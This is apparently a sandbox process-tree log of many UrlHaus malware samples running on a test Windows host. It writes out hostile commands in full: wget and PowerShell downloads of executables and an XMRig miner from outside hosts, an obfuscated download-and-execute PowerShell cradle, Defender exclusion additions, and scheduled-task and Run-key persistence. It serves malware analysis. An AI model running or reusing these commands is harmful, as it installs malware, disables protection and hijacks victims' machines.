C:\Users\Admin\Downloads\UrlHausFiles\winbox.exe"C:\Users\Admin\Downloads\UrlHausFiles\winbox.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Downloads\UrlHausFiles\boot.exe"C:\Users\Admin\Downloads\UrlHausFiles\boot.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\6E26.tmp\6E27.tmp\6E28.bat C:\Users\Admin\Downloads\UrlHausFiles\boot.exe"4⤵
-
C:\Windows\explorer.exeexplorer.exe5⤵
-
-
C:\Users\Admin\AppData\Roaming\wget.exewget "http://quanlyphongnet.com/net/Google Chrome.exe" -O "Google Chrome.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\wget.exewget "http://quanlyphongnet.com/net/Coc Coc.exe" -O "Coc Coc.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\wget.exewget "http://quanlyphongnet.com/net/run.exe" -O "run.exe"5⤵
-
-
C:\Users\Admin\AppData\Roaming\wget.exewget "http://quanlyphongnet.com/net/run2.exe" -O "run2.exe"5⤵
-
-
C:\Users\Admin\AppData\Roaming\run.exerun.exe5⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\5D59.tmp\5D5A.tmp\5D5B.bat C:\Users\Admin\AppData\Roaming\run.exe"6⤵
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\GBClientApp\Wallpapers" /deny administrator:(OI)(CI)F /t /c7⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\GBClientApp\Wallpapers" /deny administrators:(OI)(CI)F /t /c7⤵
- Modifies file permissions
-
-
C:\Windows\system32\chcp.comchcp 650017⤵
-
-
C:\Windows\system32\attrib.exeattrib -h "C:\Users\Administrator\Desktop\Google Chrome.exe"7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exeattrib -h "C:\Users\Administrator\Desktop\Coc Coc.exe"7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\chcp.comchcp 650017⤵
-
-
C:\Windows\system32\schtasks.exeSchTasks /Delete /TN "\Microsoft\Windows\Task Manager\Interactive" /F7⤵
-
-
C:\Windows\system32\schtasks.exeSchTasks /Delete /TN "\Microsoft\Windows\USB\Usb-Notifications" /F7⤵
-
-
C:\Windows\system32\schtasks.exeSchTasks /Delete /TN "\Microsoft\Windows\Feedback\Siuf\DmClient" /F7⤵
-
-
C:\Windows\system32\schtasks.exeSchTasks /Delete /TN "Fix Getting Devices" /F7⤵
-
-
C:\Windows\system32\schtasks.exeSchTasks /Delete /TN "Windows Optimize" /F7⤵
-
-
C:\Windows\system32\schtasks.exeSchTasks /Delete /TN "ChangeWallpaper" /F7⤵
-
-
-
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\Set_up.exe"C:\Users\Admin\Downloads\UrlHausFiles\Set_up.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Downloads\UrlHausFiles\SharpHound.exe"C:\Users\Admin\Downloads\UrlHausFiles\SharpHound.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Downloads\UrlHausFiles\ENP.exe"C:\Users\Admin\Downloads\UrlHausFiles\ENP.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Downloads\UrlHausFiles\svchost.exe"C:\Users\Admin\Downloads\UrlHausFiles\svchost.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Downloads\UrlHausFiles\test28.exe"C:\Users\Admin\Downloads\UrlHausFiles\test28.exe"3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe" "C:\Users\Admin\Downloads\UrlHausFiles\b.ps1"3⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Users\Admin\Downloads\UrlHausFiles\random.exe"C:\Users\Admin\Downloads\UrlHausFiles\random.exe"3⤵
- Enumerates VirtualBox registry keys
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\Downloads\UrlHausFiles\award.pdf.exe"C:\Users\Admin\Downloads\UrlHausFiles\award.pdf.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Downloads\UrlHausFiles\AllNew.exe"C:\Users\Admin\Downloads\UrlHausFiles\AllNew.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\23a0892ef8\Gxtuum.exe"C:\Users\Admin\AppData\Local\Temp\23a0892ef8\Gxtuum.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\10000321101\stail.exe"C:\Users\Admin\AppData\Local\Temp\10000321101\stail.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-FP5B3.tmp\stail.tmp"C:\Users\Admin\AppData\Local\Temp\is-FP5B3.tmp\stail.tmp" /SL5="$1501DA,3886989,54272,C:\Users\Admin\AppData\Local\Temp\10000321101\stail.exe"6⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\system32\net.exe" pause coder_media_112817⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 pause coder_media_112818⤵
-
-
-
C:\Users\Admin\AppData\Local\Coder Media 1.7.55\codermedia.exe"C:\Users\Admin\AppData\Local\Coder Media 1.7.55\codermedia.exe" -i7⤵
-
-
-
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\msf.exe"C:\Users\Admin\Downloads\UrlHausFiles\msf.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Downloads\UrlHausFiles\svchost.exe"C:\Users\Admin\Downloads\UrlHausFiles\svchost.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Downloads\UrlHausFiles\FACTURA09876567000.bat"C:\Users\Admin\Downloads\UrlHausFiles\FACTURA09876567000.bat"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\palladiums\translucently.exe"C:\Users\Admin\Downloads\UrlHausFiles\FACTURA09876567000.bat"4⤵
- Drops startup file
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SendNotifyMessage
-
C:\Windows\SysWOW64\svchost.exe"C:\Users\Admin\Downloads\UrlHausFiles\FACTURA09876567000.bat"5⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5716 -s 7005⤵
- Program crash
-
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\wwbizsrvs.exe"C:\Users\Admin\Downloads\UrlHausFiles\wwbizsrvs.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Downloads\UrlHausFiles\def.exe"C:\Users\Admin\Downloads\UrlHausFiles\def.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Downloads\UrlHausFiles\TORRENTOLD-1.exe"C:\Users\Admin\Downloads\UrlHausFiles\TORRENTOLD-1.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=131.0.6778.86 --initial-client-data=0xf4,0xf8,0xfc,0xd0,0x100,0x7ffe9bf0fd08,0x7ffe9bf0fd14,0x7ffe9bf0fd205⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations=is-enterprise-managed=no --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2092,i,11115856599627285657,5872851182077280152,262144 --variations-seed-version --mojo-platform-channel-handle=2068 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=2016,i,11115856599627285657,5872851182077280152,262144 --variations-seed-version --mojo-platform-channel-handle=2228 /prefetch:35⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations=is-enterprise-managed=no --field-trial-handle=2372,i,11115856599627285657,5872851182077280152,262144 --variations-seed-version --mojo-platform-channel-handle=2520 /prefetch:85⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations=is-enterprise-managed=no --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3252,i,11115856599627285657,5872851182077280152,262144 --variations-seed-version --mojo-platform-channel-handle=3264 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations=is-enterprise-managed=no --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2240,i,11115856599627285657,5872851182077280152,262144 --variations-seed-version --mojo-platform-channel-handle=3400 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations=is-enterprise-managed=no --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4044,i,11115856599627285657,5872851182077280152,262144 --variations-seed-version --mojo-platform-channel-handle=4064 /prefetch:25⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations=is-enterprise-managed=no --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4696,i,11115856599627285657,5872851182077280152,262144 --variations-seed-version --mojo-platform-channel-handle=4728 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations=is-enterprise-managed=no --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=4976,i,11115856599627285657,5872851182077280152,262144 --variations-seed-version --mojo-platform-channel-handle=3940 /prefetch:15⤵
- Uses browser remote debugging
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"4⤵
- Uses browser remote debugging
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffeaa5c46f8,0x7ffeaa5c4708,0x7ffeaa5c47185⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1324,2511817535852043756,16234768005361468078,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 /prefetch:35⤵
-
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\GOLD.exe"C:\Users\Admin\Downloads\UrlHausFiles\GOLD.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 7324⤵
- Program crash
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\nguyentri38.exe"C:\Users\Admin\Downloads\UrlHausFiles\nguyentri38.exe"3⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D30A.tmp\D30B.tmp\D30C.bat C:\Users\Admin\Downloads\UrlHausFiles\nguyentri38.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\Bypass.exeBypass.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\Defender.exe"C:\Users\Admin\AppData\Local\Temp\Defender.exe" /D6⤵
-
-
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\key.exe"C:\Users\Admin\Downloads\UrlHausFiles\key.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1792 -s 3724⤵
- Program crash
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\7z.exe"C:\Users\Admin\Downloads\UrlHausFiles\7z.exe"3⤵
-
-
C:\Users\Admin\Downloads\UrlHausFiles\Autoupdate.exe"C:\Users\Admin\Downloads\UrlHausFiles\Autoupdate.exe"3⤵
-
-
C:\Users\Admin\Downloads\UrlHausFiles\AA_v3.exe"C:\Users\Admin\Downloads\UrlHausFiles\AA_v3.exe"3⤵
-
-
C:\Users\Admin\Downloads\UrlHausFiles\win.exe"C:\Users\Admin\Downloads\UrlHausFiles\win.exe"3⤵
-
-
C:\Users\Admin\Downloads\UrlHausFiles\ew.exe"C:\Users\Admin\Downloads\UrlHausFiles\ew.exe"3⤵
-
-
C:\Users\Admin\Downloads\UrlHausFiles\[UPG]CSS.exe"C:\Users\Admin\Downloads\UrlHausFiles\[UPG]CSS.exe"3⤵
-
C:\Users\Admin\Downloads\UrlHausFiles\[UPG]CSS.new.exe"C:\Users\Admin\Downloads\UrlHausFiles\[UPG]CSS.new.exe" /update "C:\Users\Admin\Downloads\UrlHausFiles\[UPG]CSS.exe"4⤵
-
C:\Users\Admin\Downloads\UrlHausFiles\[UPG]CSS.exe"C:\Users\Admin\Downloads\UrlHausFiles\[UPG]CSS.exe" /delete "C:\Users\Admin\Downloads\UrlHausFiles\[UPG]CSS.new.exe"5⤵
-
-
-
-
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\UrlHausFiles\ONHQNHFT.msi"3⤵
-
-
C:\Users\Admin\Downloads\UrlHausFiles\System.exe"C:\Users\Admin\Downloads\UrlHausFiles\System.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\._cache_System.exe"C:\Users\Admin\AppData\Local\Temp\._cache_System.exe"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\._cache_System.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '._cache_System.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate4⤵
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\bp.exe"C:\Users\Admin\Downloads\UrlHausFiles\bp.exe"3⤵
-
-
C:\Users\Admin\Downloads\UrlHausFiles\svchost.exe"C:\Users\Admin\Downloads\UrlHausFiles\svchost.exe"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\UrlHausFiles\svchost.exe'4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System.exe'4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System.exe'4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System" /tr "C:\Users\Admin\AppData\Roaming\System.exe"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\UrlHausFiles\c3pool7.bat" "3⤵
-
C:\Windows\system32\net.exenet session4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://c3poolbat.oss-accelerate.aliyuncs.com/c3pool/WinRing0x64.sys', 'C:\Users\Admin\c3pool\WinRing0x64.sys')"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://c3poolbat.oss-accelerate.aliyuncs.com/c3pool/config.json', 'C:\Users\Admin\c3pool\config.json')"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://c3poolbat.oss-accelerate.aliyuncs.com/c3pool/xmrig.exe', 'C:\Users\Admin\c3pool\xmrig.exe')"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://c3poolbat.oss-accelerate.aliyuncs.com/c3pool/nssm.exe', 'C:\Users\Admin\c3pool\nssm.exe')"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell.exe -Command "hostname | foreach { $_ -replace '[^a-zA-Z0-9]+', '_' }"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command "hostname | foreach { $_ -replace '[^a-zA-Z0-9]+', '_' }"5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\HOSTNAME.EXE"C:\Windows\system32\HOSTNAME.EXE"6⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command "$out = gc 'C:\Users\Admin\c3pool\config.json' | foreach { $_ -replace '\"url\": *\".*\",', '\"url\": \"auto.c3pool.org:80\",' } | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\c3pool\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command "$out = gc 'C:\Users\Admin\c3pool\config.json' | foreach { $_ -replace '\"user\": *\".*\",', '\"user\": \"\",' } | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\c3pool\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command "$out = gc 'C:\Users\Admin\c3pool\config.json' | foreach { $_ -replace '\"pass\": *\".*\",', '\"pass\": \"Gumlnlfe\",' } | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\c3pool\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command "$out = gc 'C:\Users\Admin\c3pool\config.json' | foreach { $_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,' } | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\c3pool\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command "$out = gc 'C:\Users\Admin\c3pool\config.json' | foreach { $_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\c3pool\\xmrig.log\",' } | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\c3pool\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\idrB5Event.exe"C:\Users\Admin\Downloads\UrlHausFiles\idrB5Event.exe"3⤵
-
-
C:\Users\Admin\Downloads\UrlHausFiles\%EC%9D%B8%ED%84%B0%EB%84%B7_%EC%A2%85%EB%9F%89%EC%A0%9C_%ED%85%8C%EC%8A%A4%ED%8A%B8-cksal16.exe"C:\Users\Admin\Downloads\UrlHausFiles\%EC%9D%B8%ED%84%B0%EB%84%B7_%EC%A2%85%EB%9F%89%EC%A0%9C_%ED%85%8C%EC%8A%A4%ED%8A%B8-cksal16.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8700 -s 5364⤵
- Program crash
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\c1.exe"C:\Users\Admin\Downloads\UrlHausFiles\c1.exe"3⤵
-
-
C:\Users\Admin\Downloads\UrlHausFiles\keygen.exe"C:\Users\Admin\Downloads\UrlHausFiles\keygen.exe"3⤵
-
-
C:\Users\Admin\Downloads\UrlHausFiles\aaa.exe"C:\Users\Admin\Downloads\UrlHausFiles\aaa.exe"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im FLiNGTrainerUpdater.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im FLiNGTrainer.exe4⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\adm_atu.exe"C:\Users\Admin\Downloads\UrlHausFiles\adm_atu.exe"3⤵
-
-
C:\Users\Admin\Downloads\UrlHausFiles\test26.exe"C:\Users\Admin\Downloads\UrlHausFiles\test26.exe"3⤵
-
-
C:\Users\Admin\Downloads\UrlHausFiles\caspol.exe"C:\Users\Admin\Downloads\UrlHausFiles\caspol.exe"3⤵
-
-
C:\Users\Admin\Downloads\UrlHausFiles\stail.exe"C:\Users\Admin\Downloads\UrlHausFiles\stail.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-G2HRC.tmp\stail.tmp"C:\Users\Admin\AppData\Local\Temp\is-G2HRC.tmp\stail.tmp" /SL5="$A0202,3886989,54272,C:\Users\Admin\Downloads\UrlHausFiles\stail.exe"4⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\system32\net.exe" pause coder_media_112815⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 pause coder_media_112816⤵
-
-
-
C:\Users\Admin\AppData\Local\Coder Media 1.7.55\codermedia.exe"C:\Users\Admin\AppData\Local\Coder Media 1.7.55\codermedia.exe" -i5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "eBGamer45" -Value "C:\ProgramData\BridgeGamer\BridgeGamer.exe"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\UrlHausFiles\Deccastationers.msi"3⤵
-
-
C:\Users\Admin\Downloads\UrlHausFiles\bin.exe"C:\Users\Admin\Downloads\UrlHausFiles\bin.exe"3⤵
-
-
C:\Users\Admin\Downloads\UrlHausFiles\file.exe"C:\Users\Admin\Downloads\UrlHausFiles\file.exe"3⤵
-
C:\Windows\SYSTEM32\wscript.exe"wscript" C:\Users\Admin\AppData\Local\Temp\tempScript.js4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\CMD.vbs"6⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\dmshell.exe"C:\Users\Admin\Downloads\UrlHausFiles\dmshell.exe"3⤵
-
C:\Windows\SYSTEM32\cmd.execmd4⤵
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\client.exe"C:\Users\Admin\Downloads\UrlHausFiles\client.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ClientRun.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ClientRun.exe4⤵
-
C:\Program Files (x86)\seetrol\client\SeetrolClient.exe"C:\Program Files (x86)\seetrol\client\SeetrolClient.exe"5⤵
-
C:\Windows\SysWOW64\ipconfig.exe"C:\Windows\System32\ipconfig.exe" /flushdns6⤵
- Gathers network information
-
-
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\iupdate.exe"C:\Users\Admin\Downloads\UrlHausFiles\iupdate.exe"3⤵
-
-
C:\Users\Admin\Downloads\UrlHausFiles\shell.exe"C:\Users\Admin\Downloads\UrlHausFiles\shell.exe"3⤵
-
-
-
